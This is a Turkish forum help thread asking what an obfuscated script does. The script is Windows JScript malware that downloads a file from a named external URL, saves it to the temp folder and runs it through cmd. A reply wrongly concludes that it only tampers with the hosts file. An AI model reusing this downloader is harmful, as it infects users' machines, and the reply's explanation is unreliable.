[q]
(1) 

PHP kodu yardım

galatasaray #1168390
Arkadaşlar aşağıdaki zararlı olduğu malum kod ne amaçlıyor yardım edebilir misiniz?

yapmak istediği nedir ne anladınız.
şimdiden teşekkürler.

function zajjuj(cnirne) {
return cnirne;
}
function tsybkuruxh(bavwu) {
return bavwu;
}
function agguzusti(kolgu) {
return kolgu;
}
function ywbubsi(adzyl) {
return adzyl;
}
function axozbegwa(rtekxog) {
return rtekxog;
}
function imruruvdy(tsoqakg) {
return tsoqakg;
}
function acmyvu(ynijko) {
return ynijko;
}
function yvupcydx(dvenzozlu) {
return dvenzozlu;
}
function wzofgervoln(kipvaqu) {
return kipvaqu;
}
function nbisulu(rcoltity) {
return rcoltity;
}
function zupgoqz(xaxdoru) {
return xaxdoru;
}
function bseszef(wavka) {
return wavka;
}
function llelivpyhq(xjiverf) {
return xjiverf;
}
function ufhyjke(jsatux) {
return jsatux;
}
function ylxavofu(hanaz) {
return hanaz;
}
function ujyvilj(xxigi) {
return xxigi;
}
function fzemotypz(wtahucpi) {
return wtahucpi;
}
function onyqal(guqfu) {
return guqfu;
}
function ydlawo(tubuwu) {
return tubuwu;
}
function rlalmah(wlihy) {
return wlihy;
}
function oqrydduxa(ivave) {
return ivave;
}
function acabi(bnazgaga) {
return bnazgaga;
}
function uhmofnyp(kuqgi) {
return kuqgi;
}
function fufik(ibepgikb) {
return ibepgikb;
}
function ctytiddig(efeqa) {
return efeqa;
}
function whoflydwy(tecvygy) {
return tecvygy;
}
function kmoddihlutq(oqsyzi) {
return oqsyzi;
}
function ygipzuz(qxizig) {
return qxizig;
}
function oxyxilq(kboziwto) {
return kboziwto;
}
function exeromce(xefotge) {
return xefotge;
}
function nojepo(rcuqjinlo) {
return rcuqjinlo;
}
function inogmomd(aprew) {
return aprew;
}
function ulruzdi(enjos) {
return enjos;
}
function zlenqeqgo(uqsahpocf) {
return uqsahpocf;
}
function yjxorjil(zojodf) {
return zojodf;
}
function qjamotj(utodtyln) {
return utodtyln;
}
function efedzucni(efegif) {
return efegif;
}
function ynroniqho(eferugb) {
return eferugb;
}
function dcucvew(ydaxa) {
return ydaxa;
}
function zurumem(suncofa) {
return suncofa;
}
function zvuzid(hjudi) {
return hjudi;
}
function xyfcopp(mzuxsu) {
return mzuxsu;
}
function pextovlim(ulofezs) {
return ulofezs;
}
function ondynqygcu(qensapu) {
return qensapu;
}
function gwetxanc(ynos) {
return ynos;
}
function melawa(emtik) {
return emtik;
}
function irrolhoq(mefbil) {
return mefbil;
}
function fdisoquzf(jemufi) {
return jemufi;
}
function yvgizu(oqvyt) {
return oqvyt;
}
function nkoqhihp(ssaro) {
return ssaro;
}
function adgoceno(yvfyhd) {
return yvfyhd;
}
function rirojpi(ladqy) {
return ladqy;
}
function pocabu(ikatyk) {
return ikatyk;
}
function wowelx(tnuso) {
return tnuso;
}
function hepore(chyne) {
return chyne;
}
function kobun(ivxife) {
return ivxife;
}
function ywizte(jtafawbi) {
return jtafawbi;
}
function uqyfyngy(ycusu) {
return ycusu;
}
function uxjehyq(ocibsy) {
return ocibsy;
}
function sbedboqi(wemy) {
return wemy;
}
function wybbup(luxav) {
return luxav;
}
function enlukuxqi(kefmec) {
return kefmec;
}
function tgerkose(pcujazli) {
return pcujazli;
}
function rdoxfifky(fixa) {
return fixa;
}
function lhuglybx(isunu) {
return isunu;
}
function hyxvozwy(cwefpu) {
return cwefpu;
}
function icpensyma(otupwa) {
return otupwa;
}
function mavitj(pkymavs) {
return pkymavs;
}
function tevmebb(uplah) {
return uplah;
}
function iqbaqki(zjekjorb) {
return zjekjorb;
}
function openca(fubupxa) {
return fubupxa;
}
function adebreri(ywtowva) {
return ywtowva;
}
function ywqakajq(gzymxen) {
return gzymxen;
}
= [Object, Object, Object, Object, ActiveXObject];

function tocil(rjaqfeg) {
return rjaqfeg;
}
function tujrymiqb(otanu) {
return otanu;
}
function tafuziqm(kanxejt) {
return kanxejt;
}
function uduwfir(ytsens) {
return ytsens;
}
function yfyxtap(uvdumz) {
return uvdumz;
}
function efxiqwu(hzyqbo) {
return hzyqbo;
}
function nitiqywh(ldyxluhq) {
return ldyxluhq;
}
function rsuvuwxopp(hqishudo) {
return hqishudo;
}
function yxojipf(hsoqaxmi) {
return hsoqaxmi;
}
function yztisu(bpybexsu) {
return bpybexsu;
}
function enocyjf(amvedpe) {
return amvedpe;
}
function tladbutv(exopkiml) {
return exopkiml;
}
function dwyhykefx(xbuldu) {
return xbuldu;
}
function jqyhaky(dabqypg) {
return dabqypg;
}
function popogt(umaro) {
return umaro;
}
function kwusomse(egyvjykp) {
return egyvjykp;
}
function olozubn(nkemumqo) {
return nkemumqo;
}
function agele(wsapfanjy) {
return wsapfanjy;
}
function yfujqefe(ubeci) {
return ubeci;
}
function pzorferumx(surhuma) {
return surhuma;
}
function yfumxaqgy(qqonofx) {
return qqonofx;
}
function ptefdydos(egikor) {
return egikor;
}
function zoxgekl(wyjwu) {
return wyjwu;
}
function uxcawfe(abetfugl) {
return abetfugl;
}
function jacelwiz(afunw) {
return afunw;
}
function yltacuha(gwupeqry) {
return gwupeqry;
}
function tpimlodwarj(lagqimm) {
return lagqimm;
}
function znurvevl(ogpigz) {
return ogpigz;
}
function svafvak(tixzo) {
return tixzo;
}
function ygidepju(yrjyqqi) {
return yrjyqqi;
}
function mkefjoxi(azujcu) {
return azujcu;
}
function udawycn(sjake) {
return sjake;
}
function ecebaw(ygimpixl) {
return ygimpixl;
}
function enxozo(opxaqry) {
return opxaqry;
}
function ocpunizy(ihlen) {
return ihlen;
}
function vfokxilrimv(pvogowzo) {
return pvogowzo;
}
function ovhege(tcifovdi) {
return tcifovdi;
}
function zamyvudl(etduqryk) {
return etduqryk;
}
function evhiwcu(qavy) {
return qavy;
}
function bisxarhy(fpyjygo) {
return fpyjygo;
}
function apefejx(jjetufw) {
return jjetufw;
}
function pensetxigr(akqeqb) {
return akqeqb;
}
function dnytymu(egitd) {
return egitd;
}
function ysectasi(ahud) {
return ahud;
}
function nfuwipzac(exsyctakd) {
return exsyctakd;
}
function ciwadkat(uggaj) {
return uggaj;
}
function vyfiljo(yqeml) {
return yqeml;
}
function afyqy(taxnurpe) {
return taxnurpe;
}
function yppujugc(oser) {
return oser;
}
function hfyqimzib(ybaxgac) {
return ybaxgac;
}
function syqyzlem(xzidduce) {
return xzidduce;
}
function yguzzifva(bsofvuvr) {
return bsofvuvr;
}
function xiqah(odxyklus) {
return odxyklus;
}
function iwmexsen(apmycy) {
return apmycy;
}
function afwinkiq(ikjur) {
return ikjur;
}
function ogamyn(adit) {
return adit;
}
function ylmoxufg(imotnob) {
return imotnob;
}
function luvfuzo(osune) {
return osune;
}
function idkilqewpo(danbe) {
return danbe;
}
function ynfoxco(pwersup) {
return pwersup;
}
function ypidodu(ipuqo) {
return ipuqo;
}
function uhjybco(ncikuf) {
return ncikuf;
}
function quzhili(pqyju) {
return pqyju;
}
function anesna(rcemsa) {
return rcemsa;
}
function kjomsof(okrocbomg) {
return okrocbomg;
}
function uqgyquf(emdoki) {
return emdoki;
}
function egfijim(tjuby) {
return tjuby;
}
function imjovvupj(byjnoj) {
return byjnoj;
}
function owgewa(ljomuzry) {
return ljomuzry;
}
function isese(uxaqe) {
return uxaqe;
}
function bofoxik(ymqadmo) {
return ymqadmo;
}
function fzyfin(moqo) {
return moqo;
}
function usufuqy(vjycguhj) {
return vjycguhj;
}
function miwuws(eqpokc) {
return eqpokc;
}
function jehysa(mgonwo) {
return mgonwo;
}
function zcimqukqomq(etakx) {
return etakx;
}
function lyvvymhur(gygqo) {
return gygqo;
}
function uhyca(cvogema) {
return cvogema;
}
function qvanyni(yqxis) {
return yqxis;
}
function vewepxy(xezamzu) {
return xezamzu;
}
function fgamiss(ucmyma) {
return ucmyma;
}
function maqik(vambano) {
return vambano;
}
function yfacxe(ykwocvo) {
return ykwocvo;
}
function fycnupji(ynximh) {
return ynximh;
}
function esiphuh(asaty) {
return asaty;
}
function uvysexlu(ugqywny) {
return ugqywny;
}
function achyhace(gbihe) {
return gbihe;
}
function yxsapukb(psuqo) {
return psuqo;
}
function jmurhitre(wviha) {
return wviha;
}
function vtitunn(amuhi) {
return amuhi;
}
function bcoxjugudd(icify) {
return icify;
}
var wyzwa0 = new zwojse[4](bofoxik(new String("Sc")) + ysectasi(new String("ri")) + uvysexlu(new String("pt")) + miwuws(new String("in")) + usufuqy(new String("g.")) + inogmomd(new String("Fi")) + nkoqhihp(new String("le")) + dcucvew(new String("Sy")) + acmyvu(new String("st")) + apefejx(new String("em")) + enlukuxqi(new String("Ob")) + udawycn(new String("je")) + ufhyjke(new String("ct")));
var opun = wyzwa0[yvgizu(new String("Ge")) + dwyhykefx(new String("tF")) + hyxvozwy(new String("il")) + onyqal(new String("e"))](yfacxe(new String("C:")) + ynroniqho(new String("\\W")) + fufik(new String("in")) + adebreri(new String("do")) + wzofgervoln(new String("ws")) + pzorferumx(new String("\\S")) + zamyvudl(new String("ys")) + zvuzid(new String("te")) + acabi(new String("m3")) + zlenqeqgo(new String("2\\")) + rdoxfifky(new String("dr")) + luvfuzo(new String("iv")) + ywbubsi(new String("er")) + yvupcydx(new String("s\\")) + yfujqefe(new String("et")) + nojepo(new String("c\\")) + agele(new String("ho")) + esiphuh(new String("st")) + znurvevl(new String("s")));
if (opun[axozbegwa(new String("Att")) + rirojpi(new String("rib")) + ogamyn(new String("ute")) + imruruvdy(new String("s"))] === 32 && opun[tevmebb(new String("Pat")) + wowelx(new String("h"))][imjovvupj(new String("le")) + fzyfin(new String("ng")) + sbedboqi(new String("th"))] > 4) {
var ikarv8 = [Object, eval, Object, Object, Object][1](pensetxigr(new String("Ac")) + uhyca(new String("ti")) + efedzucni(new String("ve")) + ecebaw(new String("XO")) + kobun(new String("bj")) + iwmexsen(new String("ec")) + yjxorjil(new String("t;")));
var oldufugal = uqgyquf(new String("MS")) + ypidodu(new String("XM")) + fdisoquzf(new String("L2")) + yguzzifva(new String(".X")) + lhuglybx(new String("ML")) + llelivpyhq(new String("HT")) + rlalmah(new String("TP"));
var enupcysu9 = bofoxik(new String("Sc")) + ysectasi(new String("ri")) + uvysexlu(new String("pt")) + miwuws(new String("in")) + usufuqy(new String("g.")) + inogmomd(new String("Fi")) + nkoqhihp(new String("le")) + dcucvew(new String("Sy")) + acmyvu(new String("st")) + apefejx(new String("em")) + enlukuxqi(new String("Ob")) + udawycn(new String("je")) + ufhyjke(new String("ct"));
var utydapgy = hepore(new String("WSc")) + uxcawfe(new String("rip")) + achyhace(new String("t.S")) + afwinkiq(new String("hel")) + isese(new String("l"));
var dyrpoqoj4 = qvanyni(new String("ADO")) + fgamiss(new String("DB.")) + vtitunn(new String("Str")) + ondynqygcu(new String("eam"));
var okimoh = [WScript, Object, Object, Object, Object, Object, Object][0][bseszef(new String("Scr")) + zupgoqz(new String("ipt")) + yfyxtap(new String("Ful")) + yztisu(new String("lNa")) + yppujugc(new String("me"))];
var uwasy = new ikarv8(dyrpoqoj4);
var wagnunl0 = ovhege(new String("ht")) + afyqy(new String("tp")) + yxojipf(new String(":/")) + nfuwipzac(new String("/e")) + tladbutv(new String("li")) + yltacuha(new String("te")) + icpensyma(new String("bu")) + olozubn(new String("si")) + mavitj(new String("ne")) + zcimqukqomq(new String("ss")) + fzemotypz(new String("ev")) + kwusomse(new String("ol")) + ylxavofu(new String("ut")) + ynfoxco(new String("io")) + evhiwcu(new String("n.")) + yfumxaqgy(new String("co")) + hfyqimzib(new String("m/")) + jqyhaky(new String("ac")) + ptefdydos(new String("co")) + ylmoxufg(new String("un")) + maqik(new String("t/")) + uhmofnyp(new String("40")) + jacelwiz(new String("7.")) + ciwadkat(new String("nb")) + jehysa(new String("v"));
var ikotwesgac9 = new ikarv8(oldufugal);
var opwequsqu0 = new ikarv8(enupcysu9);
ikotwesgac9[kjomsof(new String("op")) + ctytiddig(new String("en"))](jmurhitre(new String("GE")) + anesna(new String("T")), wagnunl0, 0);
uwasy[rsuvuwxopp(new String("Op")) + zajjuj(new String("en"))]();
var odmugc0 = opwequsqu0[popogt(new String("Ge")) + oxyxilq(new String("tS")) + irrolhoq(new String("pe")) + uduwfir(new String("ci")) + melawa(new String("al")) + vfokxilrimv(new String("Fo")) + nbisulu(new String("ld")) + fycnupji(new String("er"))](2) + zoxgekl(new String("\\\\")) + opwequsqu0[efxiqwu(new String("Ge")) + tpimlodwarj(new String("tT")) + kmoddihlutq(new String("em")) + wybbup(new String("pN")) + owgewa(new String("am")) + adgoceno(new String("e"))]();
uwasy[tocil(new String("Ty")) + pocabu(new String("pe"))] = 1;
ikotwesgac9[syqyzlem(new String("sen")) + whoflydwy(new String("d"))]();
var tymmy7 = new ikarv8(utydapgy);
var ucicord7 = yxsapukb(new String("cmd")) + openca(new String(".ex")) + bisxarhy(new String("e /")) + tujrymiqb(new String("c ")) + odmugc0;
uwasy[uhjybco(new String("Po")) + ulruzdi(new String("si")) + ygidepju(new String("ti")) + ydlawo(new String("on"))] = 0;
if (ikotwesgac9[pextovlim(new String("Sta")) + vewepxy(new String("tus"))] == 200) {
uwasy[nitiqywh(new String("Wr")) + quzhili(new String("it")) + enxozo(new String("e"))](ikotwesgac9[mkefjoxi(new String("Re")) + xiqah(new String("sp")) + exeromce(new String("on")) + egfijim(new String("se")) + enocyjf(new String("Bo")) + uqyfyngy(new String("dy"))]);
uwasy[ywizte(new String("Sa")) + uxjehyq(new String("ve")) + tafuziqm(new String("To")) + gwetxanc(new String("Fi")) + idkilqewpo(new String("le"))](odmugc0);
uwasy[bcoxjugudd(new String("Cl")) + tsybkuruxh(new String("os")) + svafvak(new String("e"))]();
tymmy7[qjamotj(new String("run"))](ucicord7, 0);
}
}

 

tırnak içindeki iki harfi arka arkaya birleştirin biraz temizleyince :

"Sc""ri""pt""in""g.""Fi""le""Sy""st""em""Ob""je""ct";
"Ge""tF""il""e""C:""\\W""in""do""ws""\\S""ys""te""m3""2\\""dr""iv""er""s\\""et""c\\""ho""st""s";
if [axozbegwa"Att"rirojpi"rib"ogamyn"ute"imvdy"s"] === 32 && [tevmebb"Pat"wowelx"h"][imjovvupj"le"fzyfin"ng"sbedboqi"th"] > 4 {
ikarv8 = [, eval, , , ][1]pensetxigr"Ac"uhyca"ti"efedzucni"ve"ecebaw"XO"kobun"bj"iwmexsen"ec"yjxorjil"t;";
oldufugal = uqgyquf"MS"ypidodu"XM"fdisoquzf"L2"yguzzifva".X"lhuglybx"ML"llelivpyhq"HT"rlalmah"TP";
enupcysu9 = bofoxik"Sc"ysectasi"ri"uvysexlu"pt"miwuws"in"usufuqy"g."inogmomd"Fi"nkoqhihp"le"dcucvew"Sy"acmyvu"st"apefejx"em"enlukuxqi"Ob"udawycn"je"ufhyjke"ct";
utydapgy = hepore"WSc"uxcawfe"rip"achyhace"t.S"afwinkiq"hel"isese"l";
dyrpoqoj4 = qvanyni"ADO"fgamiss"DB."vtitunn"Str"ondynqygcu"eam";
okimoh = [WScript, , , , , , ][0][bseszef"Scr"zupgoqz"ipt"yfyxtap"Ful"yztisu"lNa"yppujugc"me"];
uwasyikarv8dyrpoqoj4;
wagnunl0 = ovhege"ht"afyqy"tp"yxojipf":/"nfuwipzac"/e"tladbutv"li"yltacuha"te"icpensyma"bu"olozubn"si"mavitj"ne"zcimqukqomq"ss"fzemotypz"ev"kwusomse"ol"ylxavofu"ut"ynfoxco"io"evhiwcu"n."yfumxaqgy"co"hfyqimzib"m/"jqyhaky"ac"ptefdydos"co"ylmoxufg"un"maqik"t/"uhmofnyp"40"jacelwiz"7."ciwadkat"nb"jehysa"v";
ikotwesgac9ikarv8oldufugal;
opwequsqu0ikarv8enupcysu9;
ikotwesgac9[kjomsof"op"ctytiddig"en"]jmurhitre"GE"anesna"T", wagnunl0, 0;
uwasy[rsuvuwxopp"Op"zajjuj"en"];
odmugc0 = opwequsqu0[popogt"Ge"oxyxilq"tS"irrolhoq"pe"uduwfir"ci"melawa"al"vfokxilrimv"Fo"nbisulu"ld"fycnupji"er"]2zoxgekl"\\\\"opwequsqu0[efxiqwu"Ge"tpimlodwarj"tT"kmoddihlutq"em"wybbup"pN"owgewa"am"adgoceno"e"];
uwasy[tocil"Ty"pocabu"pe"] = 1;
ikotwesgac9[syqyzlem"sen"whoflydwy"d"];
tymmy7ikarv8utydapgy;
ucicord7 = yxsapukb"cmd"openca".ex"bisxarhy"e /"tujrymiqb"c "odmugc0;
uwasy[uhjybco"Po"ulruzdi"si"ygidepju"ti"ydlawo"on"] = 0;
if ikotwesgac9[pextovlim"Sta"vewepxy"tus"] == 200 {
uwasy[nitiqywh"Wr"quzhili"it"enxozo"e"]ikotwesgac9[mkefjoxi"Re"xiqah"sp"exeromce"on"egfijim"se"enocyjf"Bo"uqyfyngy"dy"];
uwasy[ywizte"Sa"uxjehyq"ve"tafuziqm"To"gwetxanc"Fi"idkilqewpo"le"]odmugc0;
uwasy[bcoxjugudd"Cl"tsybkuruxh"os"svafvak"e"];
tymmy7[qjamotj"run"]ucicord7, 0;
}
}

falan filan diye gidiyor. hosts dosyasını kurcalıyor.

o kadar da degil aga
1

mobil görünümden çık